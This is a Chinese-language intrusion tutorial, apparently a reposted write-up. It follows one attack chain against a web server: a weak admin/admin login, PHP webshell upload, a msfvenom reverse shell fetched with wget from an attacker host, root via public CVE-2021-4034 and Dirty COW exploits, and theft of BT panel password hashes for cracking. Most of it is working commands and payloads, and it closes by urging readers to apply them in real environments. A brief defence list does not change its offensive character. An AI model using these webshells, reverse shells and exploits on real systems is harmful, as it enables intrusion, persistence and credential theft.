记一次艰难的提权
字数 1691 2025-08-29 08:32:01

Linux提权技术实战教学:从文件上传到Root权限获取

一、初始访问:弱口令与文件上传漏洞利用

1.1 弱口令登录

  • 目标系统:Web应用后台
  • 尝试常用弱口令组合:admin/admin
  • 成功进入后台管理界面

1.2 文件上传漏洞利用

  1. 发现上传点:在后台寻找文件上传功能
  2. 绕过前端验证
    • 使用Burp Suite拦截上传请求
    • 修改文件后缀或内容绕过前端过滤
  3. 上传Webshell
    • 使用经典PHP一句话木马:
      <?php @eval($_POST['cmd']); ?>
      
    • 或使用更隐蔽的变形:
      <?php $_GET['a']($_GET['b']); ?>
      
  4. 获取Webshell路径:注意保存服务器返回的上传文件路径

二、建立持久化连接

2.1 使用哥斯拉(Godzilla)连接

  • 哥斯拉是一款先进的Webshell管理工具
  • 配置连接参数:
    • URL:上传的Webshell路径
    • 密码:与Webshell中设置的密码一致
    • 连接类型:根据Webshell类型选择(PHP/JSP/ASP等)

2.2 反弹Shell准备

  1. 生成Payload
    msfvenom -p linux/x64/shell_reverse_tcp LHOST=<攻击机IP> LPORT=<监听端口> -f elf -o reverse.elf
    
  2. 上传Payload
    • 通过哥斯拉的文件管理功能上传reverse.elf
    • 或使用wget从攻击机下载:
      wget http://<攻击机IP>/reverse.elf -O /tmp/reverse.elf
      
  3. 设置执行权限
    chmod +x /tmp/reverse.elf
    

2.3 建立监听

在攻击机启动Metasploit监听:

msfconsole
use multi/handler
set payload linux/x64/shell_reverse_tcp
set LHOST <攻击机IP>
set LPORT <监听端口>
run

2.4 执行反弹Shell

在目标服务器执行:

/tmp/reverse.elf

三、自动化提权尝试

3.1 使用Metasploit的suggester模块

  1. 在获取的Meterpreter会话中:
    run post/multi/recon/local_exploit_suggester
    
  2. 分析建议的提权方法
  3. 尝试推荐的exploit模块

3.2 常见失败原因

  • 目标系统已打补丁
  • 环境配置不满足exploit要求
  • 权限限制导致exploit无法正常执行

四、手动提权技术

4.1 信息收集

  1. 系统内核版本

    uname -a
    cat /proc/version
    

    示例输出:Linux version 3.10.0...

  2. SUID提权检查

    find / -perm -u=s -type f 2>/dev/null
    

    查找具有SUID权限的可执行文件

4.2 CVE-2021-4034 (Polkit pkexec提权)

  1. 漏洞影响范围

    • Polkit的pkexec组件
    • 影响大多数Linux发行版
  2. 漏洞验证

    pkexec --version
    

    检查pkexec是否存在及版本

  3. 利用步骤

    • 下载POC代码:
      wget https://github.com/ck00004/CVE-2021-4034/archive/refs/heads/main.zip
      
    • 解压并编译:
      unzip main.zip
      cd CVE-2021-4034-main
      make
      
    • 执行提权:
      ./cve-2021-4034
      
  4. 成功标志

    whoami
    

    应返回root

4.3 Dirty Cow (CVE-2016-5195) 提权

  1. 漏洞影响

    • Linux内核版本2.6.22 < 3.9.x
  2. 利用步骤

    • 下载exploit代码:
      wget https://www.exploit-db.com/download/40839 -O dirty.c
      
    • 编译并执行:
      gcc -pthread dirty.c -o dirty -lcrypt
      ./dirty
      
    • 设置新root密码:
      passwd dirty
      
  3. 验证

    su dirty
    whoami
    

    应返回root

五、敏感信息收集

5.1 获取宝塔面板凭证

  1. 定位数据库文件

    find / -name "default.db" 2>/dev/null
    

    常见路径:/www/server/panel/data/default.db

  2. 复制到Web目录

    cp /www/server/panel/data/default.db /var/www/html/
    

    或使用其他可访问路径

  3. 下载分析

    • 使用浏览器或wget下载数据库文件
    • 使用SQLite浏览器或Navicat打开
    • 查找users表获取密码hash
  4. 密码破解

    • 识别hash类型(通常为sha256加盐)
    • 使用hashcat或john尝试破解

六、关键知识点总结

  1. 文件上传漏洞利用

    • 前端过滤绕过技术
    • Webshell编写与变形
    • 路径记录与访问
  2. 持久化连接建立

    • 哥斯拉工具使用
    • 反弹Shell生成与监听
    • 文件上传与执行
  3. 提权技术

    • Metasploit自动化提权
    • SUID权限检查与利用
    • CVE漏洞研究与应用
      • CVE-2021-4034 (Polkit pkexec)
      • Dirty Cow (CVE-2016-5195)
  4. 敏感信息收集

    • 数据库文件定位
    • 文件复制与下载技巧
    • 密码hash提取与分析
  5. 方法论

    • 自动化工具与手动技术的结合
    • 信息收集的重要性
    • CVE漏洞库的持续关注
    • 社区资源的利用(遇到问题及时搜索和请教)

七、防御建议

  1. 系统加固

    • 及时更新系统和内核补丁
    • 限制SUID权限二进制文件
    • 使用最小权限原则
  2. 应用安全

    • 禁用弱口令
    • 实现严格的文件上传验证
    • 定期安全审计
  3. 监控措施

    • 监控异常进程创建
    • 审计特权操作
    • 实施文件完整性监控

通过本教学文档,您应该能够全面理解从初始访问到最终提权的完整流程,掌握关键的技术点和工具使用方法,并在实际环境中应用这些技术。

Linux提权技术实战教学:从文件上传到Root权限获取 一、初始访问:弱口令与文件上传漏洞利用 1.1 弱口令登录 目标系统:Web应用后台 尝试常用弱口令组合: admin/admin 成功进入后台管理界面 1.2 文件上传漏洞利用 发现上传点 :在后台寻找文件上传功能 绕过前端验证 : 使用Burp Suite拦截上传请求 修改文件后缀或内容绕过前端过滤 上传Webshell : 使用经典PHP一句话木马: 或使用更隐蔽的变形: 获取Webshell路径 :注意保存服务器返回的上传文件路径 二、建立持久化连接 2.1 使用哥斯拉(Godzilla)连接 哥斯拉是一款先进的Webshell管理工具 配置连接参数: URL:上传的Webshell路径 密码:与Webshell中设置的密码一致 连接类型:根据Webshell类型选择(PHP/JSP/ASP等) 2.2 反弹Shell准备 生成Payload : 上传Payload : 通过哥斯拉的文件管理功能上传reverse.elf 或使用wget从攻击机下载: 设置执行权限 : 2.3 建立监听 在攻击机启动Metasploit监听: 2.4 执行反弹Shell 在目标服务器执行: 三、自动化提权尝试 3.1 使用Metasploit的suggester模块 在获取的Meterpreter会话中: 分析建议的提权方法 尝试推荐的exploit模块 3.2 常见失败原因 目标系统已打补丁 环境配置不满足exploit要求 权限限制导致exploit无法正常执行 四、手动提权技术 4.1 信息收集 系统内核版本 : 示例输出: Linux version 3.10.0... SUID提权检查 : 查找具有SUID权限的可执行文件 4.2 CVE-2021-4034 (Polkit pkexec提权) 漏洞影响范围 : Polkit的pkexec组件 影响大多数Linux发行版 漏洞验证 : 检查pkexec是否存在及版本 利用步骤 : 下载POC代码: 解压并编译: 执行提权: 成功标志 : 应返回 root 4.3 Dirty Cow (CVE-2016-5195) 提权 漏洞影响 : Linux内核版本2.6.22 < 3.9.x 利用步骤 : 下载exploit代码: 编译并执行: 设置新root密码: 验证 : 应返回 root 五、敏感信息收集 5.1 获取宝塔面板凭证 定位数据库文件 : 常见路径: /www/server/panel/data/default.db 复制到Web目录 : 或使用其他可访问路径 下载分析 : 使用浏览器或wget下载数据库文件 使用SQLite浏览器或Navicat打开 查找users表获取密码hash 密码破解 : 识别hash类型(通常为sha256加盐) 使用hashcat或john尝试破解 六、关键知识点总结 文件上传漏洞利用 : 前端过滤绕过技术 Webshell编写与变形 路径记录与访问 持久化连接建立 : 哥斯拉工具使用 反弹Shell生成与监听 文件上传与执行 提权技术 : Metasploit自动化提权 SUID权限检查与利用 CVE漏洞研究与应用 CVE-2021-4034 (Polkit pkexec) Dirty Cow (CVE-2016-5195) 敏感信息收集 : 数据库文件定位 文件复制与下载技巧 密码hash提取与分析 方法论 : 自动化工具与手动技术的结合 信息收集的重要性 CVE漏洞库的持续关注 社区资源的利用(遇到问题及时搜索和请教) 七、防御建议 系统加固 : 及时更新系统和内核补丁 限制SUID权限二进制文件 使用最小权限原则 应用安全 : 禁用弱口令 实现严格的文件上传验证 定期安全审计 监控措施 : 监控异常进程创建 审计特权操作 实施文件完整性监控 通过本教学文档,您应该能够全面理解从初始访问到最终提权的完整流程,掌握关键的技术点和工具使用方法,并在实际环境中应用这些技术。